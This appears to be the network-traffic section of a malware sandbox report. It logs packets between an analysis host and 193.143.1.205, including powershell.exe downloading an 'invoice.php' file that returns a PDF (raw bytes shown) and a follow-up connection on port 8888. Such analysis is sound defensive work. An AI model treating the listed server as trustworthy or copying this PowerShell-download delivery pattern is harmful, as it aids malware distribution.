Jan 11, 2025 03:59:29.497818947 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.497828007 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.497891903 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.497956991 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498012066 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498022079 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498054028 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.498104095 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498111963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498122931 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498141050 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498143911 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.498172045 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.498322964 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498332977 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.498366117 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.533920050 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.533957005 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.533982038 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534001112 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534035921 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534049034 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534074068 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534110069 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534115076 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534313917 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534343958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534358025 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534378052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534414053 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534415007 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534446955 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534482956 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534491062 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534518957 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534554005 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534560919 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534590006 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534626961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534631014 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534717083 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534754038 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534761906 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.534789085 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.534832954 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.735414028 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.740678072 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740751982 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740791082 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740796089 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.740829945 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740874052 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740875959 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.740909100 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740947008 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.740952969 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.740983963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741031885 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741174936 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741209984 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741245985 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741250992 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741281986 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741317987 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741318941 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741353989 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741449118 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741461992 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741731882 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741767883 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741772890 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741802931 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741837025 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741847992 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741873980 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741908073 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741918087 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.741944075 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741978884 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.741981030 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742014885 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742049932 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742074013 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742084980 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742119074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742121935 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742156029 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742192030 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742194891 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742537975 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742588997 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742595911 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742631912 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742666960 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742670059 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742702961 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742739916 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742749929 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742774010 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742810011 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742818117 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742845058 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742880106 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742883921 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742914915 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742949963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.742955923 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.742990017 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743027925 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743350983 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743386984 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743429899 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743443966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743478060 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743511915 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743515015 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743546009 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743582010 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743583918 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743618011 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743653059 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743654966 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743688107 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743724108 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743725061 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743757963 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743793964 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743798971 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.743829012 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.743871927 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744450092 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744486094 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744520903 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744524956 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744556904 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744592905 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744596004 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744627953 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744663000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744667053 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744699001 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744739056 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744744062 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744775057 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744808912 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744812965 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744843960 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744879007 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744880915 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.744914055 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.744951963 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745338917 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745374918 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745409966 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745414019 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745445967 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745481014 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745486021 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745516062 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745551109 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745564938 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745587111 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745618105 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745621920 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745657921 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745692015 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745696068 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745728970 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745763063 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745773077 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.745799065 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745832920 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.745841980 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746253967 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746296883 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746313095 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746347904 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746382952 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746386051 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746418953 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746454000 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746459961 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746486902 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746521950 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746526957 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746556997 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746591091 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746596098 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746627092 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746661901 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746665955 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.746697903 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746732950 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.746737957 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747165918 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747203112 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747210026 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747236013 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747271061 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747275114 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747304916 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747348070 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747370958 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747407913 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747443914 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747447014 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747478962 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747514009 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747519016 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747549057 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747584105 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747589111 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747617960 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747653008 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747656107 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.747688055 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.747725964 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748116016 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748153925 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748189926 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748195887 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748225927 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748261929 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748266935 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748296976 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748332977 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748336077 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748368979 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748403072 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748409986 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748439074 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748471975 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748482943 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.748528004 CET	80	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:29.748569012 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:29.992192030 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.002258062 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.251449108 CET	49713	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.713526011 CET	49724	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.718343973 CET	8888	49724	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:30.718432903 CET	49724	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.718602896 CET	49724	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:30.723412991 CET	8888	49724	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:31.522063017 CET	8888	49724	193.143.1.205	192.168.2.6
Jan 11, 2025 03:59:31.563411951 CET	49724	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:59:31.979918957 CET	49724	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:59:39.091731071 CET	62944	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:59:39.091731071 CET	192.168.2.6	1.1.1.1	0x271c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:59:39.098757982 CET	1.1.1.1	192.168.2.6	0x271c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	193.143.1.205	80	1524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:59:28.100507975 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:59:28.894081116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:59:28.894104958 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:59:28.894115925 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:59:28.894258022 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:59:28.894268990 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 03:59:28.894469976 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:59:28.894481897 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
